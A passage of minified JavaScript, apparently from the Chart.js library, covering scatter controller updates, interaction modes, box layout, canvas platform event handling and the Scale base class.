0,{animated:!s,options:a},t)}this.updateElements(i,n,o,t)}addElements(){const{showLine:t}=this.options;!this.datasetElementType&&t&&(this.datasetElementType=this.chart.registry.getElement("line")),super.addElements()}updateElements(t,e,i,s){const n="reset"===s,{iScale:o,vScale:a,_stacked:r,_dataset:l}=this._cachedMeta,h=this.resolveDataElementOptions(e,s),c=this.getSharedOptions(h),d=this.includeOptions(s,c),u=o.axis,f=a.axis,{spanGaps:g,segment:p}=this.options,m=gt(g)?g:Number.POSITIVE_INFINITY,b=this.chart._animationsDisabled||n||"none"===s;let x=e>0&&this.getParsed(e-1);for(let h=e;h<e+i;++h){const e=t[h],i=this.getParsed(h),g=b?e:{},_=R(i[f]),y=g[u]=o.getPixelForValue(i[u],h),v=g[f]=n||_?a.getBasePixel():a.getPixelForValue(r?this.applyStack(a,i,r):i[f],h);g.skip=isNaN(y)||isNaN(v)||_,g.stop=h>0&&Math.abs(i[u]-x[u])>m,p&&(g.parsed=i,g.raw=l.data[h]),d&&(g.options=c||this.resolveDataElementOptions(h,e.active?"active":s)),b||this.updateElement(e,h,g,s),x=i}this.updateSharedOptions(c,s,h)}getMaxOverflow(){const t=this._cachedMeta,e=t.data||[];if(!this.options.showLine){let t=0;for(let i=e.length-1;i>=0;--i)t=Math.max(t,e[i].size(this.resolveDataElementOptions(i))/2);return t>0&&t}const i=t.dataset,s=i.options&&i.options.borderWidth||0;if(!e.length)return s;const n=e[0].size(this.resolveDataElementOptions(0)),o=e[e.length-1].size(this.resolveDataElementOptions(e.length-1));return Math.max(s,n,o)/2}}var Qi=Object.freeze({__proto__:null,BarController:Yi,BubbleController:Ui,DoughnutController:Xi,LineController:qi,PolarAreaController:Ki,PieController:Gi,RadarController:Zi,ScatterController:Ji});function ts(){throw new Error("This method is not implemented: Check that a complete date adapter is provided.")}class es{static override(t){Object.assign(es.prototype,t)}constructor(t){this.options=t||{}}init(){}formats(){return ts()}parse(){return ts()}format(){return ts()}add(){return ts()}diff(){return ts()}startOf(){return ts()}endOf(){return ts()}}var is={_date:es};function ss(t,e,i,s){const{controller:n,data:o,_sorted:a}=t,r=n._cachedMeta.iScale;if(r&&e===r.axis&&"r"!==e&&a&&o.length){const t=r._reversePixels?Ct:Dt;if(!s)return t(o,e,i);if(n._sharedOptions){const s=o[0],n="function"==typeof s.getRange&&s.getRange(e);if(n){const s=t(o,e,i-n),a=t(o,e,i+n);return{lo:s.lo,hi:a.hi}}}}return{lo:0,hi:o.length-1}}function ns(t,e,i,s,n){const o=t.getSortedVisibleDatasetMetas(),a=i[e];for(let t=0,i=o.length;t<i;++t){const{index:i,data:r}=o[t],{lo:l,hi:h}=ss(o[t],e,a,n);for(let t=l;t<=h;++t){const e=r[t];e.skip||s(e,i,t)}}}function os(t,e,i,s,n){const o=[];return n||t.isPointInArea(e)?(ns(t,i,e,(function(i,a,r){(n||he(i,t.chartArea,0))&&i.inRange(e.x,e.y,s)&&o.push({element:i,datasetIndex:a,index:r})}),!0),o):o}function as(t,e,i,s,n,o){return o||t.isPointInArea(e)?"r"!==i||s?function(t,e,i,s,n,o){let a=[];const r=function(t){const e=-1!==t.indexOf("x"),i=-1!==t.indexOf("y");return function(t,s){const n=e?Math.abs(t.x-s.x):0,o=i?Math.abs(t.y-s.y):0;return Math.sqrt(Math.pow(n,2)+Math.pow(o,2))}}(i);let l=Number.POSITIVE_INFINITY;return ns(t,i,e,(function(i,h,c){const d=i.inRange(e.x,e.y,n);if(s&&!d)return;const u=i.getCenterPoint(n);if(!o&&!t.isPointInArea(u)&&!d)return;const f=r(e,u);f<l?(a=[{element:i,datasetIndex:h,index:c}],l=f):f===l&&a.push({element:i,datasetIndex:h,index:c})})),a}(t,e,i,s,n,o):function(t,e,i,s){let n=[];return ns(t,i,e,(function(t,i,o){const{startAngle:a,endAngle:r}=t.getProps(["startAngle","endAngle"],s),{angle:l}=_t(t,{x:e.x,y:e.y});wt(l,a,r)&&n.push({element:t,datasetIndex:i,index:o})})),n}(t,e,i,n):[]}function rs(t,e,i,s,n){const o=[],a="x"===i?"inXRange":"inYRange";let r=!1;return ns(t,i,e,((t,s,l)=>{t[a](e[i],n)&&(o.push({element:t,datasetIndex:s,index:l}),r=r||t.inRange(e.x,e.y,n))})),s&&!r?[]:o}var ls={evaluateInteractionItems:ns,modes:{index(t,e,i,s){const n=ii(e,t),o=i.axis||"x",a=i.includeInvisible||!1,r=i.intersect?os(t,n,o,s,a):as(t,n,o,!1,s,a),l=[];return r.length?(t.getSortedVisibleDatasetMetas().forEach((t=>{const e=r[0].index,i=t.data[e];i&&!i.skip&&l.push({element:i,datasetIndex:t.index,index:e})})),l):[]},dataset(t,e,i,s){const n=ii(e,t),o=i.axis||"xy",a=i.includeInvisible||!1;let r=i.intersect?os(t,n,o,s,a):as(t,n,o,!1,s,a);if(r.length>0){const e=r[0].datasetIndex,i=t.getDatasetMeta(e).data;r=[];for(let t=0;t<i.length;++t)r.push({element:i[t],datasetIndex:e,index:t})}return r},point:(t,e,i,s)=>os(t,ii(e,t),i.axis||"xy",s,i.includeInvisible||!1),nearest(t,e,i,s){const n=ii(e,t),o=i.axis||"xy",a=i.includeInvisible||!1;return as(t,n,o,i.intersect,s,a)},x:(t,e,i,s)=>rs(t,ii(e,t),"x",i.intersect,s),y:(t,e,i,s)=>rs(t,ii(e,t),"y",i.intersect,s)}};const hs=["left","top","right","bottom"];function cs(t,e){return t.filter((t=>t.pos===e))}function ds(t,e){return t.filter((t=>-1===hs.indexOf(t.pos)&&t.box.axis===e))}function us(t,e){return t.sort(((t,i)=>{const s=e?i:t,n=e?t:i;return s.weight===n.weight?s.index-n.index:s.weight-n.weight}))}function fs(t,e,i,s){return Math.max(t[i],e[i])+Math.max(t[s],e[s])}function gs(t,e){t.top=Math.max(t.top,e.top),t.left=Math.max(t.left,e.left),t.bottom=Math.max(t.bottom,e.bottom),t.right=Math.max(t.right,e.right)}function ps(t,e,i,s){const{pos:n,box:o}=i,a=t.maxPadding;if(!z(n)){i.size&&(t[n]-=i.size);const e=s[i.stack]||{size:0,count:1};e.size=Math.max(e.size,i.horizontal?o.height:o.width),i.size=e.size/e.count,t[n]+=i.size}o.getPadding&&gs(a,o.getPadding());const r=Math.max(0,e.outerWidth-fs(a,t,"left","right")),l=Math.max(0,e.outerHeight-fs(a,t,"top","bottom")),h=r!==t.w,c=l!==t.h;return t.w=r,t.h=l,i.horizontal?{same:h,other:c}:{same:c,other:h}}function ms(t,e){const i=e.maxPadding;return function(t){const s={left:0,top:0,right:0,bottom:0};return t.forEach((t=>{s[t]=Math.max(e[t],i[t])})),s}(t?["left","right"]:["top","bottom"])}function bs(t,e,i,s){const n=[];let o,a,r,l,h,c;for(o=0,a=t.length,h=0;o<a;++o){r=t[o],l=r.box,l.update(r.width||e.w,r.height||e.h,ms(r.horizontal,e));const{same:a,other:d}=ps(e,i,r,s);h|=a&&n.length,c=c||d,l.fullSize||n.push(r)}return h&&bs(n,e,i,s)||c}function xs(t,e,i,s,n){t.top=i,t.left=e,t.right=e+s,t.bottom=i+n,t.width=s,t.height=n}function _s(t,e,i,s){const n=i.padding;let{x:o,y:a}=e;for(const r of t){const t=r.box,l=s[r.stack]||{count:1,placed:0,weight:1},h=r.stackWeight/l.weight||1;if(r.horizontal){const s=e.w*h,o=l.size||t.height;Q(l.start)&&(a=l.start),t.fullSize?xs(t,n.left,a,i.outerWidth-n.right-n.left,o):xs(t,e.left+l.placed,a,s,o),l.start=a,l.placed+=s,a=t.bottom}else{const s=e.h*h,a=l.size||t.width;Q(l.start)&&(o=l.start),t.fullSize?xs(t,o,n.top,a,i.outerHeight-n.bottom-n.top):xs(t,o,e.top+l.placed,a,s),l.start=o,l.placed+=s,o=t.right}}e.x=o,e.y=a}var ys={addBox(t,e){t.boxes||(t.boxes=[]),e.fullSize=e.fullSize||!1,e.position=e.position||"top",e.weight=e.weight||0,e._layers=e._layers||function(){return[{z:0,draw(t){e.draw(t)}}]},t.boxes.push(e)},removeBox(t,e){const i=t.boxes?t.boxes.indexOf(e):-1;-1!==i&&t.boxes.splice(i,1)},configure(t,e,i){e.fullSize=i.fullSize,e.position=i.position,e.weight=i.weight},update(t,e,i,s){if(!t)return;const n=Se(t.options.layout.padding),o=Math.max(e-n.width,0),a=Math.max(i-n.height,0),r=function(t){const e=function(t){const e=[];let i,s,n,o,a,r;for(i=0,s=(t||[]).length;i<s;++i)n=t[i],({position:o,options:{stack:a,stackWeight:r=1}}=n),e.push({index:i,box:n,pos:o,horizontal:n.isHorizontal(),weight:n.weight,stack:a&&o+a,stackWeight:r});return e}(t),i=us(e.filter((t=>t.box.fullSize)),!0),s=us(cs(e,"left"),!0),n=us(cs(e,"right")),o=us(cs(e,"top"),!0),a=us(cs(e,"bottom")),r=ds(e,"x"),l=ds(e,"y");return{fullSize:i,leftAndTop:s.concat(o),rightAndBottom:n.concat(l).concat(a).concat(r),chartArea:cs(e,"chartArea"),vertical:s.concat(n).concat(l),horizontal:o.concat(a).concat(r)}}(t.boxes),l=r.vertical,h=r.horizontal;H(t.boxes,(t=>{"function"==typeof t.beforeLayout&&t.beforeLayout()}));const c=l.reduce(((t,e)=>e.box.options&&!1===e.box.options.display?t:t+1),0)||1,d=Object.freeze({outerWidth:e,outerHeight:i,padding:n,availableWidth:o,availableHeight:a,vBoxMaxWidth:o/2/c,hBoxMaxHeight:a/2}),u=Object.assign({},n);gs(u,Se(s));const f=Object.assign({maxPadding:u,w:o,h:a,x:n.left,y:n.top},n),g=function(t,e){const i=function(t){const e={};for(const i of t){const{stack:t,pos:s,stackWeight:n}=i;if(!t||!hs.includes(s))continue;const o=e[t]||(e[t]={count:0,placed:0,weight:0,size:0});o.count++,o.weight+=n}return e}(t),{vBoxMaxWidth:s,hBoxMaxHeight:n}=e;let o,a,r;for(o=0,a=t.length;o<a;++o){r=t[o];const{fullSize:a}=r.box,l=i[r.stack],h=l&&r.stackWeight/l.weight;r.horizontal?(r.width=h?h*s:a&&e.availableWidth,r.height=n):(r.width=s,r.height=h?h*n:a&&e.availableHeight)}return i}(l.concat(h),d);bs(r.fullSize,f,d,g),bs(l,f,d,g),bs(h,f,d,g)&&bs(l,f,d,g),function(t){const e=t.maxPadding;function i(i){const s=Math.max(e[i]-t[i],0);return t[i]+=s,s}t.y+=i("top"),t.x+=i("left"),i("right"),i("bottom")}(f),_s(r.leftAndTop,f,d,g),f.x+=f.w,f.y+=f.h,_s(r.rightAndBottom,f,d,g),t.chartArea={left:f.left,top:f.top,right:f.left+f.w,bottom:f.top+f.h,height:f.h,width:f.w},H(r.chartArea,(e=>{const i=e.box;Object.assign(i,t.chartArea),i.update(f.w,f.h,{left:0,top:0,right:0,bottom:0})}))}};class vs{acquireContext(t,e){}releaseContext(t){return!1}addEventListener(t,e,i){}removeEventListener(t,e,i){}getDevicePixelRatio(){return 1}getMaximumSize(t,e,i,s){return e=Math.max(0,e||t.width),i=i||t.height,{width:e,height:Math.max(0,s?Math.floor(e/s):i)}}isAttached(t){return!0}updateConfig(t){}}class Ms extends vs{acquireContext(t){return t&&t.getContext&&t.getContext("2d")||null}updateConfig(t){t.options.animation=!1}}const ws="$chartjs",ks={touchstart:"mousedown",touchmove:"mousemove",touchend:"mouseup",pointerenter:"mouseenter",pointerdown:"mousedown",pointermove:"mousemove",pointerup:"mouseup",pointerleave:"mouseout",pointerout:"mouseout"},Ss=t=>null===t||""===t,Ps=!!oi&&{passive:!0};function Ds(t,e,i){t.canvas.removeEventListener(e,i,Ps)}function Cs(t,e){for(const i of t)if(i===e||i.contains(e))return!0}function Os(t,e,i){const s=t.canvas,n=new MutationObserver((t=>{let e=!1;for(const i of t)e=e||Cs(i.addedNodes,s),e=e&&!Cs(i.removedNodes,s);e&&i()}));return n.observe(document,{childList:!0,subtree:!0}),n}function As(t,e,i){const s=t.canvas,n=new MutationObserver((t=>{let e=!1;for(const i of t)e=e||Cs(i.removedNodes,s),e=e&&!Cs(i.addedNodes,s);e&&i()}));return n.observe(document,{childList:!0,subtree:!0}),n}const Ts=new Map;let Ls=0;function Es(){const t=window.devicePixelRatio;t!==Ls&&(Ls=t,Ts.forEach(((e,i)=>{i.currentDevicePixelRatio!==t&&e()})))}function Rs(t,e,i){const s=t.canvas,n=s&&Ge(s);if(!n)return;const o=Et(((t,e)=>{const s=n.clientWidth;i(t,e),s<n.clientWidth&&i()}),window),a=new ResizeObserver((t=>{const e=t[0],i=e.contentRect.width,s=e.contentRect.height;0===i&&0===s||o(i,s)}));return a.observe(n),function(t,e){Ts.size||window.addEventListener("resize",Es),Ts.set(t,e)}(t,o),a}function Is(t,e,i){i&&i.disconnect(),"resize"===e&&function(t){Ts.delete(t),Ts.size||window.removeEventListener("resize",Es)}(t)}function zs(t,e,i){const s=t.canvas,n=Et((e=>{null!==t.ctx&&i(function(t,e){const i=ks[t.type]||t.type,{x:s,y:n}=ii(t,e);return{type:i,chart:e,native:t,x:void 0!==s?s:null,y:void 0!==n?n:null}}(e,t))}),t);return function(t,e,i){t.addEventListener(e,i,Ps)}(s,e,n),n}class Fs extends vs{acquireContext(t,e){const i=t&&t.getContext&&t.getContext("2d");return i&&i.canvas===t?(function(t,e){const i=t.style,s=t.getAttribute("height"),n=t.getAttribute("width");if(t[ws]={initial:{height:s,width:n,style:{display:i.display,height:i.height,width:i.width}}},i.display=i.display||"block",i.boxSizing=i.boxSizing||"border-box",Ss(n)){const e=ai(t,"width");void 0!==e&&(t.width=e)}if(Ss(s))if(""===t.style.height)t.height=t.width/(e||2);else{const e=ai(t,"height");void 0!==e&&(t.height=e)}}(t,e),i):null}releaseContext(t){const e=t.canvas;if(!e[ws])return!1;const i=e[ws].initial;["height","width"].forEach((t=>{const s=i[t];R(s)?e.removeAttribute(t):e.setAttribute(t,s)}));const s=i.style||{};return Object.keys(s).forEach((t=>{e.style[t]=s[t]})),e.width=e.width,delete e[ws],!0}addEventListener(t,e,i){this.removeEventListener(t,e);const s=t.$proxies||(t.$proxies={}),n={attach:Os,detach:As,resize:Rs}[e]||zs;s[e]=n(t,e,i)}removeEventListener(t,e){const i=t.$proxies||(t.$proxies={}),s=i[e];s&&(({attach:Is,detach:Is,resize:Is}[e]||Ds)(t,e,s),i[e]=void 0)}getDevicePixelRatio(){return window.devicePixelRatio}getMaximumSize(t,e,i,s){return function(t,e,i,s){const n=Je(t),o=ti(n,"margin"),a=Ze(n.maxWidth,t,"clientWidth")||ot,r=Ze(n.maxHeight,t,"clientHeight")||ot,l=function(t,e,i){let s,n;if(void 0===e||void 0===i){const o=Ge(t);if(o){const t=o.getBoundingClientRect(),a=Je(o),r=ti(a,"border","width"),l=ti(a,"padding");e=t.width-l.width-r.width,i=t.height-l.height-r.height,s=Ze(a.maxWidth,o,"clientWidth"),n=Ze(a.maxHeight,o,"clientHeight")}else e=t.clientWidth,i=t.clientHeight}return{width:e,height:i,maxWidth:s||ot,maxHeight:n||ot}}(t,e,i);let{width:h,height:c}=l;if("content-box"===n.boxSizing){const t=ti(n,"border","width"),e=ti(n,"padding");h-=e.width+t.width,c-=e.height+t.height}return h=Math.max(0,h-o.width),c=Math.max(0,s?h/s:c-o.height),h=si(Math.min(h,a,l.maxWidth)),c=si(Math.min(c,r,l.maxHeight)),h&&!c&&(c=si(h/2)),(void 0!==e||void 0!==i)&&s&&l.height&&c>l.height&&(c=l.height,h=si(Math.floor(c*s))),{width:h,height:c}}(t,e,i,s)}isAttached(t){const e=Ge(t);return!(!e||!e.isConnected)}}function Vs(t){return!Ke()||"undefined"!=typeof OffscreenCanvas&&t instanceof OffscreenCanvas?Ms:Fs}class Bs{static defaults={};static defaultRoutes=void 0;active=!1;tooltipPosition(t){const{x:e,y:i}=this.getProps(["x","y"],t);return{x:e,y:i}}hasValue(){return gt(this.x)&&gt(this.y)}getProps(t,e){const i=this.$animations;if(!e||!i)return this;const s={};return t.forEach((t=>{s[t]=i[t]&&i[t].active()?i[t]._to:this[t]})),s}}function Ws(t,e,i,s,n){const o=B(s,0),a=Math.min(B(n,t.length),t.length);let r,l,h,c=0;for(i=Math.ceil(i),n&&(r=n-s,i=r/Math.floor(r/i)),h=o;h<0;)c++,h=Math.round(o+c*i);for(l=Math.max(o,0);l<a;l++)l===h&&(e.push(t[l]),c++,h=Math.round(o+c*i))}const Ns=(t,e,i)=>"top"===e||"left"===e?t[e]+i:t[e]-i,Hs=(t,e)=>Math.min(e||t,t);function js(t,e){const i=[],s=t.length/e,n=t.length;let o=0;for(;o<n;o+=s)i.push(t[Math.floor(o)]);return i}function $s(t,e,i){const s=t.ticks.length,n=Math.min(e,s-1),o=t._startPixel,a=t._endPixel,r=1e-6;let l,h=t.getPixelForTick(n);if(!(i&&(l=1===s?Math.max(h-o,a-h):0===e?(t.getPixelForTick(1)-h)/2:(h-t.getPixelForTick(n-1))/2,h+=n<e?l:-l,h<o-r||h>a+r)))return h}function Ys(t){return t.drawTicks?t.tickLength:0}function Us(t,e){if(!t.display)return 0;const i=Pe(t.font,e),s=Se(t.padding);return(I(t.text)?t.text.length:1)*i.lineHeight+s.height}function Xs(t,e,i){let s=Rt(t);return(i&&"right"!==e||!i&&"right"===e)&&(s=(t=>"left"===t?"right":"right"===t?"left":t)(s)),s}class qs extends Bs{constructor(t){super(),this.id=t.id,this.type=t.type,this.options=void 0,this.ctx=t.ctx,this.chart=t.chart,this.top=void 0,this.bottom=void 0,this.left=void 0,this.right=void 0,this.width=void 0,this.height=void 0,this._margins={left:0,right:0,top:0,bottom:0},this.maxWidth=void 0,this.maxHeight=void 0,this.paddingTop=void 0,this.paddingBottom=void 0,this.paddingLeft=void 0,this.paddingRight=void 0,this.axis=void 0,this.labelRotation=void 0,this.min=void 0,this.max=void 0,this._range=void 0,this.ticks=[],this._gridLineItems=null,this._labelItems=null,this._labelSizes=null,this._length=0,this._maxLength=0,this._longestTextCache={},this._startPixel=void 0,this._endPixel=void 0,this._reversePixels=!1,this._userMax=void 0,this._userMin=void 0,this._suggestedMax=void 0,this._suggestedMin=void 0,this._ticksLength=0,this._borderValue=0,this._cache={},this._dataLimitsCached=!1,this.$context=void 0}init(t){this.options=t.setContext(this.getContext()),this.axis=t.axis,this._userMin=this.parse(t.min),this._userMax=this.parse(t.max),this._suggestedMin=this.parse(t.suggestedMin),this._suggestedMax=this.parse(t.suggestedMax)}parse(t,e){return t}getUserBounds(){let{_userMin:t,_userMax:e,_suggestedMin:i,_suggestedMax:s}=this;return t=V(t,Number.POSITIVE_INFINITY),e=V(e,Number.NEGATIVE_INFINITY),i=V(i,Number.POSITIVE_INFINITY),s=V(s,Number.NEGATIVE_INFINITY),{min:V(t,i),max:V(e,s),minDefined:F(t),maxDefined:F(e)}}getMinMax(t){let e,{min:i,max:s,minDefined:n,maxDefined:o}=this.getUserBounds();if(n&&o)return{min:i,max:s};const a=this.getMatchingVisibleMetas();for(let r=0,l=a.length;r<l;++r)e=a[r].controller.getMinMax(this,t),n||(i=Math.min(i,e.min)),o||(s=Math.max(s,e.max));return i=o&&i>s?s:i,s=n&&i>s?i:s,{min:V(i,V(s,i)),max:V(s,V(i,s))}}getPadding(){return{left:this.paddingLeft||0,top:this.paddingTop||0,right:this.paddingRight||0,bottom:this.paddingBottom||0}}getTicks(){return this.ticks}getLabels(){const t=this.chart.data;return this.options.labels||(this.isHorizontal()?t.xLabels:t.yLabels)||t.labels||[]}getLabelItems(t=this.chart.chartArea){return this._labelItems||(this._labelItems=this._computeLabelItems(t))}beforeLayout(){this._cache={},this._dataLimitsCached=!1}beforeUpdate(){N(this.options.beforeUpdate,[this])}update(t,e,i){const{beginAtZero:s,grace:n,ticks:o}=this.options,a=o.sampleSize;this.beforeUpdate(),this.maxWidth=t,this.maxHeight=e,this._margins=i=Object.assign({left:0,right:0,top:0,bottom:0},i),this.ticks=null,this._labelSizes=null,this._gridLineItems=null,this._labelItems=null,this.beforeSetDimensions(),this.setDimensions(),this.afterSetDimensions(),this._maxLength=this.isHorizontal()?this.width+i.left+i.right:this.height+i.top+i.bottom,this._dataLimitsCached||(this.beforeDataLimits(),this.determineDataLimits(),this.afterDataLimits(),this._range=function(t,e,i){const{min:s,max:n}=t,o=W(e,(n-s)/2),a=(t,e)=>i&&0===t?0:t+e;return{min:a(s,-Math.abs(o)),max:a(n,o)}}(this,n,s),this._dataLimitsCached=!0),this.beforeBuildTicks(),this.ticks=this.buildTicks()||[],this.afterBuildTicks();const r=a<this.ticks.length;this._convertTicksToLabels(r?js(this.ticks,a):this.ticks),this.configure(),this.beforeCalculateLabelRotation(),this.calculateLabelRotation(),this.afterCalculateLabelRotation(),o.display&&(o.autoSkip||"auto"===o.source)&&(this.ticks=function(t,e){const i=t.options.ticks,s=function(t){const e=t.options.offset,i=t._tickSize(),s=t._length/i+(e?0:1),n=t._maxLength/i;return Math.floor(Math.min(s,n))}(t),n=Math.min(i.maxTicksLimit||s,s),o=i.major.enabled?function(t){const e=[];let i,s;for(i=0,s=t.length;i<s;i++)t[i].major&&e.push(i);return e}(e):[],a=o.length,r=o[0],l=o[a-1],h=[];if(a>n)return function(t,e,i,s){let n,o=0,a=i[0];for(s=Math.ceil(s),n=0;n<t.length;n++)n===a&&(e.push(t[n]),o++,a=i[o*s])}(e,h,o,a/n),h;const c=function(t,e,i){const s=function(t){const e=t.length;let i,s;if(e<2)return!1;for(s=t[0],i=1;i<e;++i)if(t[i]-t[i-1]!==s)return!1;return s}(t),n=e.length/i;if(!s)return Math.max(n,1);const o=function(t){const e=[],i=Math.sqrt(t);let s;for(s=1;s<i;s++)t%s==0&&(e.push(s),e.push(t/s));return i===(0|i)&&e.push(i),e.sort(((t,e)=>t-e)).pop(),e}(s);for(let t=0,e=o.length-1;t<e;t++){const e=o[t];if(e>n)return e}return Math.max(n,1)}(o,e,n);if(a>0){let t,i;const s=a>1?Math.round((l-r)/(a-1)):null;for(Ws(e,h,c,R(s)?0:r-s,r),t=0,i=a-1;t<i;t++)Ws(e,h,c,o[t],o[t+1]);return Ws(e,h,c,l,R(s)?e.length:l+s),h}return Ws(e,h,c),h}(this,this.ticks),this._labelSizes=null,this.afterAutoSkip()),r&&this._convertTicksToLabels(this.ticks),this.beforeFit(),this.fit(),this.afterFit(),this.afterUpdate()}configure(){let t,e,i=this.options.reverse;this.isHorizontal()?(t=this.left,e=this.right):(t=this.top,e=this.bottom,i=!i),this._startPixel=t,this._endPixel=e,this._reversePixels=i,this._length=e-t,this._alignToPixels=this.options.alignToPixels}afterUpdate(){N(this.options.afterUpdate,[this])}beforeSetDimensions(){N(this.options.beforeSetDimensions,[this])}setDimensions(){this.isHorizontal()?(this.width=this.maxWidth,this.left=0,this.right=this.width):(this.height=this.maxHeight,this.top=0,this.bottom=this.height),this.paddingLeft=0,this.paddingTop=0,this.paddingRight=0,this.paddingBottom=0}afterSetDimensions(){N(this.options.afterSetDimensions,[this])}_callHooks(t){this.chart.notifyPlugins(t,this.getContext()),N(this.options[t],[this])}beforeDataLimits(){this._callHooks("beforeDataLimits")}determineDataLimits(){}afterDataLimits(){this._callHooks("afterDataLimits")}beforeBuildTicks(){this._callHooks("beforeBuildTicks")}buildTicks(){return[]}afterBuildTicks(){this._callHooks("afterBuildTicks")}beforeTickToLabelConversion(){N(this.options.beforeTickToLabelConversion,[this])}generateTickLabels(t){const e=this.options.ticks;let i,s,n;for(i=0,s=t.length;i<s;i++)n=t[i],n.label=N(e.callback,[n.value,i,t],this)}afterTickToLabelConversion(){N(this.options.afterTickToLabelConversion,[this])}beforeCalculateLabelRotation(){N(this.options.beforeCalculateLabelRotation,[this])}calculateLabelRotation(){const t=this.options,e=t.ticks,i=Hs(this.ticks.length,t.ticks.maxTicksLimit),s=e.minRotation||0,n=e.maxRotation;let o,a,r,l=s;if(!this._isVisible()||!e.display||s>=n||i<=1||!this.isHorizontal())return void(this.labelRotation=s);const h=this._getLabelSizes(),c=h.widest.width,d=h.highest.height,u=kt(this.chart.width-c,0,this.maxWidth);o=t.offset?this.maxWidth/i:u/(i-1),c+6>o&&(o=u/(i-(t.offset?.5:1)),a=this.maxHeight-Ys(t.grid)-e.padding-Us(t.title,this.chart.options.font),r=Math.sqrt(c*c+d*d),l=bt(Math.min(Math.asin(kt((h.highest.height+6)/o,-1,1)),Math.asin(kt(a/r,-1,1))-Math.asin(kt(d/r,-1,1)))),l=Math.max(s,Math.min(n,l))),this.labelRotation=l}afterCalculateLabelRotation(){N(this.options.afterCalculateLabelRotation,[this])}afterAutoSkip(){}beforeFit(){N(this.options.beforeFit,[this])}fit(){const t={width:0,height:0},{chart:e,options:{ticks:i,title:s,grid:n}}=this,o=this._isVisible(),a=this.isHorizontal();if(o){const o=Us(s,e.options.font);if(a?(t.width=this.maxWidth,t.height=Ys(n)+o):(t.height=this.maxHeight,t.width=Ys(n)+o),i.display&&this.ticks.length){const{first:e,last:s,widest:n,highest:o}=this._getLabelSizes(),r=2*i.padding,l=mt(this.labelRotation),h=Math.cos(l),c=Math.sin(l);if(a){const e=i.mirror?0:c*n.width+h*o.height;t.height=Math.min(this.maxHeight,t.height+e+r)}else{const e=i.mirror?0:h*n.width+c*o.height;t.width=Math.min(this.maxWidth,t.width+e+r)}this._calculatePadding(e,s,c,h)}}this._handleMargins(),a?(this.width=this._length=e.width-this._margins.left-this._margins.right,this.height=t.height):(this.width=t.width,this.height=this._length=e.height-this._margins.top-this._margins.bottom)}_calculatePadding(t,e,i,s){const{ticks:{align:n,padding:o},position:a}=this.options,r=0!==this.labelRotation,l="top"!==a&&"x"===this.axis;if(this.isHorizontal()){const a=this.getPixelForTick(0)-this.left,h=this.right-this.getPixelForTick(this.ticks.length-1);let c=0,d=0;r?l?(c=s*t.width,d=i*e.height):(c=i*t.height,d=s*e.width):"start"===n?d=e.width:"end"===n?c=t.width:"inner"!==n&&(c=t.width/2,d=e.width/2),this.paddingLeft=Math.max((c-a+o)*this.width/(this.width-a),0),this.paddingRight=Math.max((d-h+o)*this.width/(this.width-h),0)}else{let i=e.height/2,s=t.height/2;"start"===n?(i=0,s=t.height):"end"===n&&(i=e.height,s=0),this.paddingTop=i+o,this.paddingBottom=s+o}}_handleMargins(){this._margins&&(this._margins.left=Math.max(this.paddingLeft,this._margins.left),this._margins.top=Math.max(this.paddingTop,this._margins.top),this._margins.right=Math.max(this.paddingRight,this._margins.right),this._margins.bottom=Math.max(this.paddingBottom,this._margins.bottom))}afterFit(){N(this.options.afterFit,[this])}isHorizontal(){const{axis:t,position:e}=this.options;return"top"===e||"bottom"===e||"x"===t}isFullSize(){return this.options.fullSize}_convertTicksToLabels(t){let e,i;for(this.beforeTickToLabelConversion(),this.generateTickLabels(t),e=0,i=t.length;e<i;e++)R(t[e].label)&&(t.splice(e,1),i--,e--);this.afterTickToLabelConversion()}_getLabelSizes(){let t=this._labelSizes;if(!t){const e=this.options.ticks.sampleSize;let i=this.ticks;e<i.length&&(i=js(i,e)),this._labelSizes=t=this._computeLabelSizes(i,i.length,this.options.ticks.maxTicksLimit)}return t}_computeLabelSizes(t,e,i){const{ctx:s,_longestTextCache:n}=this,o=[],a=[],r=Math.floor(e/Hs(e,i));let l,h,c,d,u,f,g,p,m,b,x,_=0,y=0;for(l=0;l<e;l+=r){if(d=t[l].label,u=this._resolveTickFontOptions(l),s.font=f=u.string,g=n[f]=n[f]||{data:{},gc:[]},p=u.lineHeight,m=b=0,R(d)||I(d)){if(I(d))for(h=0,c=d.length;h<c;++h)x=d[h],R(x)||I(x)||(m=se(s,g.data,g.gc,m,x),b+=p)}else m=se(s,g.data,g.gc,m,d),b=p;o.push(m),a.push(b),_=Math.max(m,_),y=Math.max(b,y)}!function(t,e){H(t,(t=>{const i=t.gc,s=i.length/2;let n;if(s>e){for(n=0;n<s;++n)delete t.data[i[n]];i.splice(0,s)}}))}(n,e);const v=o.indexOf(_),M=a.indexOf(y),w=t=>({width:o[t]||0,height:a[t]||0});return{first:w(0),last:w(e-1),widest:w(v),highest:w(M),widths:o,heights:a}}getLabelForValue(t){return t}getPixelForValue(t,e){return NaN}getValueForPixel(t){}getPixelForTick(t){const e=this.ticks;return t<0||t>e.length-1?null:this.getPixelForValue(e[t].value)}getPixelForDecimal(t){this._reversePixels&&(t=1-t);const e=this._startPixel+t*this._length;return kt(this._alignToPixels?oe(this.chart,e,0):e,-32768,32767)}getDecimalForPixel(t){const e=(t-this._startPixel)/this._length;return this._reversePixels?1-e:e}getBasePixel(){return this.getPixelForValue(this.getBaseValue())}getBaseValue(){const{min:t,max:e}=this;return t<0&&e<0?e:t>0&&e>0?t:0}getContext(t){const e=this.ticks||[];if(t>=0&&t<e.length){const i=e[t];return i.$context||(i.$context=function(t,e,i){return Ce(t,{tick:i,index:e,type:"tick"})}(this.getContext(),t,i))}return this.$context||(this.$context=Ce(this.chart.getContext(),{scale:this,type:"scale"}))}_tickSize(){const t=this.options.ticks,e=mt(this.labelRotation),i=Math.abs(Math.cos(e)),s=Math.abs(Math.sin(e)),n=this._getLabelSizes(),o=t.autoSkipPadding||0,a=n?n.widest.width+o:0,r=n?n.highest.height+o:0;return this.isHorizontal()?r*i>a*s?a/i:r/s:r*s<a*i?r/i:a/s}_isVisible(){const t=this.options.display;return"auto"!==t?!!t:this.getMatchingVisibleMetas().length>0}_computeGridLineItems(t){const e=this.axis,i=this.chart,s=this.options,{grid:n,position:o,border:a}=s,r=n.offset,l=this.isHorizontal(),h=this.ticks.length+(r?1:0),c=Ys(n),d=[],u=a.setContext(this.getContext()),f=u.display?u.width:0,g=f/2,p=function(t){return oe(i,t,f)};let m,b,x,_,y,v,M,w,k,S,P,D;if("top"===o)m=p(this.bottom),v=this.bottom-c,w=m-g,S=p(t.top)+g,D=t.bottom;else 